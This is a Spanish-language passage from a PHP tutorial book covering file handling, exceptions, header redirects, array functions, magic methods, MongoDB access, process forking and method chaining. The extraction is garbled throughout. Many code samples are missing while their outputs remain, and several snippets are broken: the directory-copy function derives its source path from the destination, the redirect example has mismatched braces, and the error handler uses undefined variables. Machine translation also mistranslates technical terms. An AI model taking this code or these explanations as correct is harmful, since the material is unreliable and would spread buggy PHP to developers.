CSV IO
fgetcsv($file, $length, $separator)
El fgetcsv analiza la línea desde el archivo abierto que comprueba los campos csv. Devuelve
campos CSV en una matriz en caso de éxito o FALSE en caso de error.
$file = fopen("contacts.csv","r");
https://riptutorial.com/es/home 334
print_r(fgetcsv($file));
print_r(fgetcsv($file,5," "));
fclose($file);
contacts.csv
Salida:
Array
(
[0] => Kai Jim
[1] => Refsnes
[2] => Stavanger
[3] => Norway
)
Array
(
[0] => Hege,
)
$file = 'monkey.gif';
if (file_exists($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}
https://riptutorial.com/es/home 335
Leyendo un archivo en una matriz
file devuelve las líneas en el archivo pasado en una matriz. Cada elemento de la matriz
corresponde a una línea en el archivo, con la nueva línea aún adjunta.
print_r(file("test.txt"));
test.txt
Salida:
Array
(
[0] => Welcome to File handling
[1] => This is to test file handling
)
$dir = "/this/is/a/directory";
$file = "/this/is/a/file.txt";
Esto da:
/this/is/a/directory is a directory
/this/is/a/directory is not a file
/this/is/a/directory exists
/this/is/a/file.txt is not a directory
/this/is/a/file.txt is a file
/this/is/a/file.txt exists
https://riptutorial.com/es/home 336
Comprobando el tipo de archivo
Use filetype para verificar el tipo de archivo, que puede ser:
• fifo
• char
• dir
• block
• link
• file
• socket
• unknown
Tenga en cuenta que el tipo de filetype devuelve false y activa un E_WARNING si el archivo no
existe.
https://riptutorial.com/es/home 337
$filePathParts = pathinfo($fileToAnalyze);
echo '<pre>';
print_r($filePathParts);
echo '</pre>';
Array
(
[dirname] => /var/www
[basename] => image.png
[extension] => png
[filename] => image
)
$filePathParts['dirname']
$filePathParts['basename']
$filePathParts['extension']
$filePathParts['filename']
Parámetro Detalles
• Si no se pasa una opción (el segundo parámetro), se devuelve una matriz asociativa, de lo
contrario se devuelve una cadena.
• No valida que el archivo exista.
• Simplemente analiza la cadena en partes. No se realiza ninguna validación en el archivo
(sin verificación de tipo mime, etc.)
• La extensión es simplemente la última extensión de $path La ruta para el archivo
image.jpg.png sería .png incluso si técnicamente es un archivo .jpg . Un archivo sin una
extensión no devolverá un elemento de extensión en la matriz.
Si necesitamos analizar un archivo grande, por ejemplo, un CSV de más de 10 Mbytes que
contiene millones de filas, algunos utilizan las funciones file o file_get_contents y terminan con la
configuración de memory_limit con
error. Considere la siguiente fuente (top-1m.csv tiene exactamente 1 millón de filas y tiene
aproximadamente 22 Mbytes de tamaño)
https://riptutorial.com/es/home 338
var_dump(memory_get_usage(true));
$arr = file('top-1m.csv');
var_dump(memory_get_usage(true));
Esto produce:
int(262144)
int(210501632)
porque el intérprete necesitaba mantener todas las filas en la matriz $arr , por lo que consumía ~
200 Mbytes de RAM. Tenga en cuenta que ni siquiera hemos hecho nada con el contenido de la
matriz.
var_dump(memory_get_usage(true));
$index = 1;
if (($handle = fopen("top-1m.csv", "r")) !== FALSE) {
while (($row = fgetcsv($handle, 1000, ",")) !== FALSE) {
file_put_contents('top-1m-reversed.csv',$index . ',' . strrev($row[1]) . PHP_EOL,
FILE_APPEND);
$index++;
}
fclose($handle);
}
var_dump(memory_get_usage(true));
que salidas
int(262144)
int(262144)
por lo tanto, no utilizamos un solo byte extra de memoria, sino que analizamos todo el CSV y lo
guardamos en otro archivo invirtiendo el valor de la segunda columna. Esto se debe a que fgetcsv
lee solo una fila y $row se sobrescribe en cada bucle.
Abriendo un arroyo
fopen abre un identificador de flujo de archivos, que se puede usar con varias funciones para leer,
escribir, buscar y otras funciones encima de él. Este valor es de tipo de resource y no se puede
pasar a otros subprocesos que conservan su funcionalidad.
https://riptutorial.com/es/home 339
Modo Descripción
Abierto solo para escritura, comenzando desde el principio del archivo. Si el archivo
w
existe, vaciará el archivo. Si no existe intentará crearlo.
abra un archivo solo para escritura, comenzando al final del archivo. Si el archivo no
a
existe, intentará crearlo.
abra un archivo para leer y escribir, comenzando al final del archivo. Si el archivo no
a+
existe, intentará crearlo.
Crea y abre un archivo para leer y escribir. Si el archivo existe la llamada fopen
x+
fallará
Al agregar una t detrás del modo (por ejemplo, a+b , wt , etc.) en Windows se traducirán los finales
de línea "\n" a "\r\n" cuando se trabaje con el archivo. Agregue b detrás del modo si esto no está
destinado, especialmente si es un archivo binario.
La aplicación PHP debe cerrar las secuencias utilizando fclose cuando ya no se utilizan para
evitar el error Too many open files . Esto es particularmente importante en los programas CLI, ya
que las transmisiones solo se cierran cuando se cierra el tiempo de ejecución, lo que significa que
en los servidores web puede que no sea necesario (pero aún debería , como práctica para evitar
la pérdida de recursos) cerrar las transmisiones. si no espera que el proceso se ejecute durante
mucho tiempo y no abrirá muchas secuencias.
Leyendo
Usando fread leerá el número dado de bytes desde el puntero del archivo, o hasta que se cumpla
un EOF.
https://riptutorial.com/es/home 340
Líneas de lectura
El uso de fgets leerá el archivo hasta que se alcance un EOL, o se lea la longitud dada.
Tanto fread como fgets moverán el puntero del archivo mientras lee.
Por ejemplo, el siguiente script lee omite los primeros 10 bytes, lee los siguientes 10 bytes, omite
10 bytes, lee los siguientes 10 bytes y luego los últimos 10 bytes en file.txt:
Escritura
El uso de fwrite escribe la cadena proporcionada en el archivo comenzando en el puntero del
archivo actual.
https://riptutorial.com/es/home 341
Mover y copiar archivos y directorios
Copiando documentos
copy copia el archivo de origen en el primer argumento al destino en el segundo argumento. El
destino resuelto debe estar en un directorio que ya esté creado.
if (copy('test.txt', 'dest.txt')) {
echo 'File has been copied successfully';
} else {
echo 'Failed to copy file to destination given.'
}
// ensure that $src and $dest end with a slash so that we can concatenate it with the
filenames directly
$src = rtrim($dest, "/\\") . "/";
$dest = rtrim($dest, "/\\") . "/";
// store the next file name to $file. if $file is false, that's all -- end the loop.
while(($file = $list->read()) !== false) {
if($file === "." || $file === "..") continue;
if(is_file($src . $file)) {
copy($src . $file, $dest . $file);
$count++;
} elseif(is_dir($src . $file)) {
$count += recurse_copy_dir($src . $file, $dest . $file);
}
}
return $count;
}
Renombrando / Moviendo
Renombrar / Mover archivos y directorios es mucho más simple. Se pueden mover o renombrar
https://riptutorial.com/es/home 342
directorios completos en una sola llamada, usando la función de rename .
• rename("~/file.txt", "~/file.html");
• rename("~/dir", "~/old_dir");
• rename("~/dir/file.txt", "~/dir2/file.txt");
https://riptutorial.com/es/home 343
Capítulo 64: Manejo de excepciones y reporte
de errores
Examples
Configuración de informes de errores y dónde mostrarlos.
Sintaxis
Ejemplos
// -1 will show every possible error, even when new levels and constants are added
// in future PHP versions. E_ALL does the same up to 5.4.
error_reporting(-1);
// without notices
error_reporting(E_ALL & ~E_NOTICE);
los errores se registrarán de forma predeterminada por php, normalmente en un archivo error.log
al mismo nivel que el script en ejecución.
ini_set('display_errors', 1);
ini_set('display_errors', 0);
https://riptutorial.com/es/home 344
trata de atraparlo
try..catchbloques try..catch se pueden usar para controlar el flujo de un programa donde se
pueden lanzar excepciones . Se pueden capturar y manejar con gracia en lugar de dejar que PHP
se detenga cuando se encuentra uno:
try {
// Do a bunch of things...
throw new Exception('My test exception!');
} catch (Exception $ex) {
// Your logic failed. What do you want to do about that? Log it:
file_put_contents('my_error_log.txt', $ex->getMessage(), FILE_APPEND);
}
El ejemplo anterior podría catch la Excepción lanzada en el bloque de try y registrar su mensaje
("¡Mi excepción de prueba!") A un archivo de texto.
try {
throw new InvalidArgumentException('Argument #1 must be an integer!');
} catch (InvalidArgumentException $ex) {
var_dump('Invalid argument exception caught: ' . $ex->getMessage());
} catch (Exception $ex) {
var_dump('Standard exception caught: ' . $ex->getMessage());
}
De manera similar, si tuviera que lanzar una Exception UnexpectedValueException cambio, vería el
segundo controlador de una Exception estándar que se está utilizando.
finalmente
Si necesita hacer algo después de que se haya ejecutado un try o un catch , puede usar una
sentencia finally :
try {
throw new Exception('Hello world');
} catch (Exception $e) {
echo 'Uh oh! ' . $e->getMessage();
} finally {
echo " - I'm finished now - home time!";
}
https://riptutorial.com/es/home 345
El ejemplo anterior daría como resultado lo siguiente:
lanzable
En PHP 7 vemos la introducción de la interfaz de Throwable , que implementa tanto el Error como
la Exception . Esto agrega un nivel de contrato de servicio entre las excepciones en PHP 7 y le
permite implementar la interfaz para sus propias excepciones personalizadas:
Antes de PHP 7, simplemente puede escribir Exception sugerencia, ya que a partir de PHP 5
todas las clases de excepción lo amplían.
En PHP, un error fatal es un tipo de error que no se puede detectar, es decir, después de
experimentar un error fatal, un programa no se reanuda. Sin embargo, para registrar este error o
manejar de alguna manera el bloqueo, puede usar register_shutdown_function para registrar el
controlador de apagado.
function fatalErrorHandler() {
// Let's get last error that was fatal.
$error = error_get_last();
fprintf(
$logFile,
"[%s] %s: %s in %s:%d\n",
date("Y-m-d H:i:s"),
$type,
https://riptutorial.com/es/home 346
$message,
$file,
$line);
fclose($logFile);
}
register_shutdown_function('fatalErrorHandler');
Referencia:
• http://php.net/manual/en/function.register-shutdown-function.php
• http://php.net/manual/en/function.error-get-last.php
• http://php.net/manual/en/errorfunc.constants.php
https://riptutorial.com/es/home 347
Capítulo 65: Manipulación De Cabeceras
Examples
Configuración básica de un encabezado
Aquí hay una configuración básica del encabezado para cambiar a una nueva página cuando se
hace clic en un botón.
if(isset($_REQUEST['action']))
{
switch($_REQUEST['action'])
{ //Setting the Header based on which button is clicked
case 'getState':
header("Location: http://NewPageForState.com/getState.php?search=" .
$_POST['search']);
break;
case 'getProject':
header("Location: http://NewPageForProject.com/getProject.php?search=" .
$_POST['search']);
break;
}
else
{
GetSearchTerm(!NULL);
}
//Forms to enter a State or Project and click search
function GetSearchTerm($success)
{
if (is_null($success))
{
echo "<h4>You must enter a state or project number</h4>";
}
echo "<center><strong>Enter the State to search for</strong></center><p></p>";
//Using the $_SERVER['PHP_SELF'] keeps us on this page till the switch above determines
where to go
echo "<form action='" . $_SERVER['PHP_SELF'] . "' enctype='multipart/form-data'
method='POST'>
<input type='hidden' name='action' value='getState'>
<center>State: <input type='text' name='search' size='10'></center><p></p>
<center><input type='submit' name='submit' value='Search State'></center>
</form>";
GetSearchTermProject($success);
}
function GetSearchTermProject($success)
{
echo "<center><br><strong>Enter the Project to search for</strong></center><p></p>";
echo "<form action='" . $_SERVER['PHP_SELF'] . "' enctype='multipart/form-data'
method='POST'>
<input type='hidden' name='action' value='getProject'>
<center>Project Number: <input type='text' name='search'
size='10'></center><p></p>
<center><input type='submit' name='submit' value='Search Project'></center>
</form>";
https://riptutorial.com/es/home 348
}
?>
https://riptutorial.com/es/home 349
Capítulo 66: Manipulando una matriz
Examples
Eliminar elementos de una matriz
Para eliminar un elemento dentro de una matriz, por ejemplo, el elemento con el índice 1.
Esto eliminará las manzanas de la lista, pero tenga en cuenta que unset no cambia los índices de
los elementos restantes. Así que $fruit ahora contiene los índices 0 y 2 .
print_r($fruit);
/*
Array
(
[0] => banana
[one] => apple
[1] => peaches
)
*/
unset($fruit['one']);
Ahora $ fruta es
print_r($fruit);
/*
Array
(
[0] => banana
[1] => peaches
)
*/
unset($fruit);
anula la variable y, por lo tanto, elimina toda la matriz, lo que significa que ninguno de sus
elementos es accesible.
https://riptutorial.com/es/home 350
Eliminando elementos terminales
array_shift () : desplaza un elemento fuera del principio de la matriz.
Ejemplo:
Salida:
Array
(
[0] => apples
[1] => peaches
)
Ejemplo:
Salida:
Array
(
[0] => bananas
[1] => apples
)
Para filtrar los valores de una matriz y obtener una nueva matriz que contenga todos los valores
que satisfacen la condición del filtro, puede utilizar la función array_filter .
$my_array = [1,0,2,null,3,'',4,[],5,6,7,8];
$non_empties = array_filter($my_array); // $non_empties will contain [1,2,3,4,5,6,7,8];
https://riptutorial.com/es/home 351
Filtrado por devolución de llamada
Esta vez definimos nuestra propia regla de filtrado. Supongamos que queremos obtener solo
números pares:
$my_array = [1,2,3,4,5,6,7,8];
La función array_filter recibe la matriz que se filtra como su primer argumento y una devolución
de llamada que define el predicado del filtro como su segundo.
5.6
$numbers = [16,3,5,8,1,4,6];
<?php
$my_array = [1,0,2,null,3,'',4,[],5,6,7,8];
$filtered = array_filter($my_array);
/*
https://riptutorial.com/es/home 352
Output:
1
Notice: Undefined offset: 1
2
Notice: Undefined offset: 3
3
Notice: Undefined offset: 5
4
Notice: Undefined offset: 7
*/
Esto sucede porque los valores que estaban en las posiciones 1 (había 0 ), 3 ( null ), 5 (cadena
vacía '' ) y 7 (matriz vacía [] ) se eliminaron junto con sus claves de índice correspondientes.
Si necesita recorrer el resultado de un filtro en una matriz indexada, primero debe llamar a
array_values en el resultado de array_filter para crear una nueva matriz con los índices
correctos:
$my_array = [1,0,2,null,3,'',4,[],5,6,7,8];
$filtered = array_filter($my_array);
$iterable = array_values($filtered);
// No warnings!
A veces desea agregar un elemento al principio de una matriz sin modificar ninguno de los
elementos actuales ( orden ) dentro de la matriz . Siempre que este sea el caso, puede usar
array_unshift() .
array_unshift($myArray, 4);
Esto ahora agregará 4 como el primer elemento en su matriz. Puedes verificar esto por:
https://riptutorial.com/es/home 353
print_r($myArray);
Dado que array_unshift obliga a la matriz a restablecer los pares clave-valor, ya que el nuevo
elemento permite que las siguientes entradas tengan las claves n+1 , es más inteligente crear una
nueva matriz y agregar la matriz existente a la nueva matriz creada.
Ejemplo:
Salida ($ joinedArray):
Array ( [0] => oranges [1] => apples [2] => bananas [3] => pears )
Eaxmple / Demo
Cuando quiera permitir solo ciertas claves en sus arreglos, especialmente cuando el arreglo
proviene de parámetros de solicitud, puede usar array_intersect_key junto con array_flip .
$parameters = ['foo' => 'bar', 'bar' => 'baz', 'boo' => 'bam'];
$allowedKeys = ['foo', 'bar'];
$filteredParameters = array_intersect_key($parameters, array_flip($allowedKeys));
Desde PHP 5.6 también puede usar array_filter para esta tarea, pasando el indicador
ARRAY_FILTER_USE_KEY como tercer parámetro:
El uso de array_filter brinda la flexibilidad adicional de realizar una prueba arbitraria contra la
https://riptutorial.com/es/home 354
clave, por ejemplo, $allowedKeys podría contener patrones de $allowedKeys regulares en lugar de
cadenas simples. También establece más explícitamente la intención del código que
array_intersect_key() combinado con array_flip() .
ordenar()
Ordenar una matriz en orden ascendente por valor.
resultados en
Array
(
[0] => Apfel
[1] => Banane
[2] => Orange
[3] => Zitrone
)
rsort ()
Ordenar una matriz en orden descendente por valor.
resultados en
Array
(
[0] => Zitrone
[1] => Orange
[2] => Banane
[3] => Apfel
)
un tipo()
Ordena una matriz en orden ascendente por valor y preserva los indecisos.
https://riptutorial.com/es/home 355
$fruits = [1 => 'lemon', 2 => 'orange', 3 => 'banana', 4 => 'apple'];
asort($fruits);
print_r($fruits);
resultados en
Array
(
[4] => apple
[3] => banana
[1] => lemon
[2] => orange
)
Arsort ()
Ordene una matriz en orden descendente por valor y conserve los indecisos.
resultados en
Array
(
[2] => orange
[1] => lemon
[3] => banana
[4] => apple
)
ksort ()
Ordenar una matriz en orden ascendente por clave
resultados en
Array
(
[a] => orange
[b] => banana
[c] => apple
[d] => lemon
)
https://riptutorial.com/es/home 356
krsort ()
Ordenar una matriz en orden descendente por clave.
resultados en
Array
(
[d] => lemon
[c] => apple
[b] => banana
[a] => orange
)
natsort ()
Ordene una matriz de la forma en que lo haría un ser humano (orden natural).
resultados en
Array
(
[4] => File2.stack
[0] => File8.stack
[2] => file7.stack
[3] => file13.stack
[1] => file77.stack
)
natcasesort ()
Ordene una matriz de la forma en que lo haría un ser humano (orden natural), pero con uso
intensivo de casos.
resultados en
https://riptutorial.com/es/home 357
Array
(
[4] => File2.stack
[2] => file7.stack
[0] => File8.stack
[3] => file13.stack
[1] => file77.stack
)
barajar()
Baraja una matriz (ordenada al azar).
Como está escrito en la descripción, es aleatorio, por lo que aquí solo hay un ejemplo de lo que
puede resultar
Array
(
[0] => cc
[1] => bb
[2] => aa
)
usort ()
Ordenar una matriz con una función de comparación definida por el usuario.
resultados en
Array
(
[0] => 1
[1] => 2
[2] => 3
[3] => 5
https://riptutorial.com/es/home 358
[4] => 6
)
uasort ()
Ordene una matriz con una función de comparación definida por el usuario y conserve las claves.
$array = ['a' => 1, 'b' => -3, 'c' => 5, 'd' => 3, 'e' => -5];
uasort($array, 'compare');
print_r($array);
resultados en
Array
(
[e] => -5
[b] => -3
[a] => 1
[d] => 3
[c] => 5
)
uksort ()
Ordenar una matriz por claves con una función de comparación definida por el usuario.
$array = ['ee' => 1, 'g' => -3, '4' => 5, 'k' => 3, 'oo' => -5];
uksort($array, 'compare');
print_r($array);
resultados en
Array
(
https://riptutorial.com/es/home 359
[ee] => 1
[g] => -3
[k] => 3
[oo] => -5
[4] => 5
)
array_flip función array_flip intercambiará todas las claves con sus elementos.
$colors = array(
'one' => 'red',
'two' => 'blue',
'three' => 'yellow',
);
array(
'red' => 'one',
'blue' => 'two',
'yellow' => 'three'
)
$a1 = array("red","green");
$a2 = array("blue","yellow");
print_r(array_merge($a1,$a2));
/*
Array ( [0] => red [1] => green [2] => blue [3] => yellow )
*/
Matriz asociativa:
$a1=array("a"=>"red","b"=>"green");
$a2=array("c"=>"blue","b"=>"yellow");
print_r(array_merge($a1,$a2));
/*
Array ( [a] => red [b] => yellow [c] => blue )
*/
1. Fusiona los elementos de uno o más arreglos juntos para que los valores de uno se
agreguen al final del anterior. Devuelve la matriz resultante.
2. Si las matrices de entrada tienen las mismas claves de cadena, el valor posterior de esa
clave sobrescribirá a la anterior. Sin embargo, si las matrices contienen claves numéricas, el
valor posterior no sobrescribirá el valor original, sino que se agregará.
3. Los valores en la matriz de entrada con claves numéricas se volverán a numerar con claves
incrementales que comienzan desde cero en la matriz de resultados.
https://riptutorial.com/es/home 360
matriz
https://riptutorial.com/es/home 361
Capítulo 67: Metodos magicos
Examples
__get (), __set (), __isset () y __unset ()
Siempre que intentes recuperar un campo determinado de una clase como esta:
PHP invoca el método mágico __get($name) , con $name igual a "height" en este caso. Escribiendo
en un campo de clase como tal:
$animal->height = 10;
__set($name, $value) método mágico __set($name, $value) , con $name igual a "height" y $value
igual a 10 .
PHP también tiene dos funciones isset() , que comprueba si existe una variable, y unset() , que
destruye una variable. Verificando si un campo de objetos está configurado así:
isset($animal->height);
unset($animal->height);
Normalmente, cuando no define estos métodos en su clase, PHP simplemente recupera el campo
tal como está almacenado en su clase. Sin embargo, puede anular estos métodos para crear
clases que puedan contener datos como una matriz, pero que se puedan usar como un objeto:
class Example {
private $data = [];
return $this->data[$name];
}
https://riptutorial.com/es/home 362
public function __isset($name) {
return isset($this->data[$name]);
}
__construir () y __destruct ()
__construct()es el método mágico más común en PHP, porque se usa para configurar una clase
cuando se inicializa. El opuesto del método __construct() es el método __destruct() . Se llama a
este método cuando no hay más referencias a un objeto que creó o cuando fuerza su eliminación.
La recolección de basura de PHP limpiará el objeto llamando primero a su destructor y luego
eliminándolo de la memoria.
class Shape {
public function __construct() {
echo "Shape created!\n";
}
}
$this->width = $width;
$this->height = $height;
https://riptutorial.com/es/home 363
echo "Created {$this->width}x{$this->height} Rectangle\n";
}
function createRectangle() {
// Instantiating an object will call the constructor with the specified arguments
$rectangle = new Rectangle(20, 50);
createRectangle();
// 'Destroying 20x50 Rectangle' will be printed, because
// the `$rectangle` object was local to the createRectangle function, so
// When the function scope is exited, the object is destroyed and its
// destructor is called.
__Encadenar()
Cuando un objeto se trata como una cadena, se llama al método __toString() . Este método debe
devolver una representación de cadena de la clase.
class User {
public $first_name;
public $last_name;
public $age;
__invocar()
https://riptutorial.com/es/home 364
Este método mágico se llama cuando el usuario intenta invocar el objeto como una función. Los
posibles casos de uso pueden incluir algunos enfoques como la programación funcional o algunas
devoluciones de llamada.
class Invokable
{
/**
* This method will be called if object will be executed like a function:
*
* $invokable();
*
* Args will be passed as in regular method call.
*/
public function __invoke($arg, $arg, ...)
{
print_r(func_get_args());
}
}
// Example:
$invokable = new Invokable();
$invokable([1, 2, 3]);
// optputs:
Array
(
[0] => 1
[1] => 2
[2] => 3
)
__call () y __callStatic ()
class Foo
{
/**
* This method will be called when somebody will try to invoke a method in object
* context, which does not exist, like:
*
* $foo->method($arg, $arg1);
*
* First argument will contain the method name(in example above it will be "method"),
* and the second will contain the values of $arg and $arg1 as an array.
*/
public function __call($method, $arguments)
{
// do something with that information here, like overloading
// or something generic.
// For sake of example let's say we're making a generic class,
// that holds some data and allows user to get/set/has via
// getter/setter methods. Also let's assume that there is some
// CaseHelper which helps to convert camelCase into snake_case.
// Also this method is simplified, so it does not check if there
// is a valid name or
https://riptutorial.com/es/home 365
$snakeName = CaseHelper::camelToSnake($method);
// Get get/set/has prefix
$subMethod = substr($snakeName, 0, 3);
switch ($subMethod) {
case "get":
return $this->data[$propertyName];
case "set":
$this->data[$propertyName] = $arguments[0];
break;
case "has":
return isset($this->data[$propertyName]);
default:
throw new BadMethodCallException("Undefined method $method");
}
}
/**
* __callStatic will be called from static content, that is, when calling a nonexistent
* static method:
*
* Foo::buildSomethingCool($arg);
*
* First argument will contain the method name(in example above it will be
"buildSomethingCool"),
* and the second will contain the value $arg in an array.
*
* Note that signature of this method is different(requires static keyword). This method
was not
* available prior PHP 5.3
*/
public static function __callStatic($method, $arguments)
{
// This method can be used when you need something like generic factory
// or something else(to be honest use case for this is not so clear to me).
print_r(func_get_args());
}
}
Ejemplo:
$instance->setSomeState("foo");
var_dump($instance->hasSomeState()); // bool(true)
var_dump($instance->getSomeState()); // string "foo"
Foo::exampleStaticCall("test");
// outputs:
Array
(
[0] => exampleCallStatic
[1] => test
)
https://riptutorial.com/es/home 366
__sleep () y __wakeup ()
__sleep y __wakeup son métodos relacionados con el proceso de serialización. serialize función
serialize comprueba si una clase tiene un método __sleep . Si es así, se ejecutará antes de
cualquier serialización. Se supone que __sleep devuelve una matriz de los nombres de todas las
variables de un objeto que debe ser serializado.
class Sleepy {
public $tableName;
public $tableFields;
public $dbConnection;
/**
* This magic method will be invoked by serialize function.
* Note that $dbConnection is excluded.
*/
public function __sleep()
{
// Only $this->tableName and $this->tableFields will be serialized.
return ['tableName', 'tableFields'];
}
/**
* This magic method will be called by unserialize function.
*
* For sake of example, lets assume that $this->c, which was not serialized,
* is some kind of a database connection. So on wake up it will get reconnected.
*/
public function __wakeup()
{
// Connect to some default database and store handler/wrapper returned into
// $this->dbConnection
$this->dbConnection = DB::connect();
}
}
__información de depuración()
var_dump()este método al volcar un objeto para obtener las propiedades que deben
mostrarse. Si el método no está definido en un objeto, se mostrarán todas las
propiedades públicas, protegidas y privadas. - Manual de PHP
class DeepThought {
public function __debugInfo() {
return [42];
}
}
5.6
var_dump(new DeepThought());
https://riptutorial.com/es/home 367
El ejemplo anterior dará como resultado:
5.6
var_dump(new DeepThought());
__clon()
__clone se invoca mediante el uso de la palabra clave clone . Se utiliza para manipular el estado
del objeto tras la clonación, después de que el objeto se haya clonado realmente.
class CloneableUser
{
public $name;
public $lastName;
/**
* This method will be invoked by a clone operator and will prepend "Copy " to the
* name and lastName properties.
*/
public function __clone()
{
$this->name = "Copy " . $this->name;
$this->lastName = "Copy " . $this->lastName;
}
}
Ejemplo:
https://riptutorial.com/es/home 368
Capítulo 68: mongo-php
Sintaxis
1. encontrar()
Examples
Todo entre MongoDB y Php
Requerimientos
• Php instalado como cgi o fpm con la extensión MongoDB instalada (la extensión MongoDB
no se incluye con el php predeterminado)
• Biblioteca de compositores (mongodb / mongodb). (En la ejecución raíz del proyecto php
composer.phar require "mongodb/mongodb=^1.0.0" para instalar la biblioteca MongoDB)
Si no está seguro, compruebe la instalación de Php ejecutando php -v en el símbolo del sistema y
aparecerá algo como esto.
PHP 7.0.6 (cli) (built: Apr 28 2016 14:12:14) ( ZTS ) Copyright (c) 1997-2016 The PHP Group Zend
Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies
<?php
//This path should point to Composer's autoloader from where your MongoDB library will be
loaded
require 'vendor/autoload.php';
https://riptutorial.com/es/home 369
// when using custom username password
try {
$mongo = new MongoDB\Client('mongodb://username:password@localhost:27017');
print_r($mongo->listDatabases());
} catch (Exception $e) {
echo $e->getMessage();
}
<?php
<?php
//use find() method to query for records, where parameter will be array containing key value
pair we need to find.
https://riptutorial.com/es/home 370
$result = $collection->find( [ 'name' => 'Hinterland', 'brewery' => 'BrewDog' ] );
?>
Drop en MongoDB
<?php
?>
Hay muchos métodos que se pueden realizar en $collection consulte la documentación oficial de
MongoDB
https://riptutorial.com/es/home 371
Capítulo 69: Multiprocesamiento
Examples
Multiprocesamiento utilizando funciones de horquilla incorporadas.
Puede usar funciones incorporadas para ejecutar procesos PHP como forks. Esta es la forma
más sencilla de lograr un trabajo paralelo si no necesita sus hilos para hablar entre sí.
Esto le permite realizar tareas que requieren mucho tiempo (como cargar un archivo a otro
servidor o enviar un correo electrónico) a otro hilo para que su script se cargue más rápido y
pueda usar múltiples núcleos, pero tenga en cuenta que esto no es un multihilo real y que su hilo
principal no saber lo que los niños están haciendo.
Tenga en cuenta que en Windows esto hará que aparezca otro indicador de comando para cada
bifurcación que inicie.
master.php
worker.php
<?php
// $pid is the PID of child
$pid = pcntl_fork();
if ($pid == -1) {
die('Error while creating child process');
} else if ($pid) {
// Parent process
https://riptutorial.com/es/home 372
} else {
// Child process
}
?>
Otra consideración aquí es un zombie process o un zombie process defunct process cuando el
proceso padre termina antes del proceso hijo. Para evitar un proceso de hijos zombis,
simplemente agregue pcntl_wait($status) al final del proceso padre.
pnctl_wait suspende la ejecución del proceso padre hasta que el proceso hijo haya
salido.
También vale la pena señalar que el zombie process no se puede SIGKILL señal SIGKILL .
<?php
$descriptor = array(
0 => array("pipe", "r"), // pipe for stdin of child
1 => array("pipe", "w"), // pipe for stdout of child
);
$process = proc_open("bash", $descriptor, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], "pwd" . "\n");
fclose($pipes[0]);
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
$return_value = proc_close($process);
}
?>
proc_open ejecuta el comando bash con $descriptor como especificaciones del descriptor. Después
de eso usamos is_resource para validar el proceso. Una vez hecho esto, podemos comenzar a
interactuar con el proceso hijo utilizando $ pipe, que se genera de acuerdo con las
especificaciones del descriptor.
Después de eso, simplemente podemos usar fwrite para escribir en el stdin del proceso hijo. En
este caso pwd seguido de retorno de carro. Finalmente, stream_get_contents se usa para leer la
stream_get_contents del proceso hijo.
Siempre recuerde cerrar el proceso hijo utilizando proc_close () que terminará el hijo y
devolverá el código de estado de salida.
https://riptutorial.com/es/home 373
Lea Multiprocesamiento en línea: https://riptutorial.com/es/php/topic/5263/multiprocesamiento
https://riptutorial.com/es/home 374
Capítulo 70: Patrones de diseño
Introducción
Este tema proporciona ejemplos de patrones de diseño bien conocidos implementados en PHP.
Examples
Método de encadenamiento en PHP
Considere este código no encadenado / regular (portado a PHP desde el libro mencionado
anteriormente)
Todo lo que necesita hacer para que esto funcione es return $this en los métodos que desea
encadenar:
class HardDrive {
protected $isExternal = false;
protected $capacity = 0;
protected $speed = 0;
https://riptutorial.com/es/home 375
public function setSpeed($speed) {
$this->speed = $speed;
return $this; // returns the current class instance to allow method chaining
}
}
Cuando usarlo
Los principales casos de uso para utilizar el método de encadenamiento son cuando se crean
lenguajes internos específicos de dominio. El método de encadenamiento es un bloque de
construcción en Expression Builders e Fluent Interfaces . Sin embargo, no es sinónimo de ellos .
Método de encadenamiento simplemente habilita aquellos. Citando a Fowler:
Dicho esto, el uso de Method Chaining solo para evitar escribir el objeto host es considerado por
muchos como un olor de código . Hace que las API no sean evidentes, especialmente cuando se
mezclan con API sin encadenamiento.
Notas adicionales
Separación de consulta de comando
Command Separación de separación es un principio de diseño presentado por Bertrand Meyer .
Establece que los métodos que mutan el estado ( comandos ) no deben devolver nada, mientras
que los métodos que devuelven algo ( consultas ) no deben mutar el estado. Esto hace que sea
más fácil razonar sobre el sistema. El método de encadenamiento viola este principio porque
estamos mutando el estado y devolviendo algo.
Getters
Al utilizar clases que implementan el encadenamiento de métodos, preste especial atención al
llamar a métodos getter (es decir, métodos que devuelven algo diferente a $this ). Como los
captadores deben devolver un valor diferente a $this , el encadenamiento de un método adicional
a un captador hace que la llamada opere en el valor obtenido , no en el objeto original. Si bien hay
algunos casos de uso para captadores encadenados, pueden hacer que el código sea menos
legible.
https://riptutorial.com/es/home 376
El método de encadenamiento como se presentó anteriormente no viola la Ley de Demeter .
Tampoco tiene impacto en las pruebas. Esto se debe a que estamos devolviendo la instancia de
host y no algún colaborador. Es un error común que surge de personas que confunden el mero
encadenamiento de métodos con interfaces fluidas y constructores de expresiones . Solo cuando
el Encadenamiento de métodos devuelve otros objetos que no son el objeto host , violas la Ley de
Demeter y terminas con festines de prueba en tus pruebas.
https://riptutorial.com/es/home 377
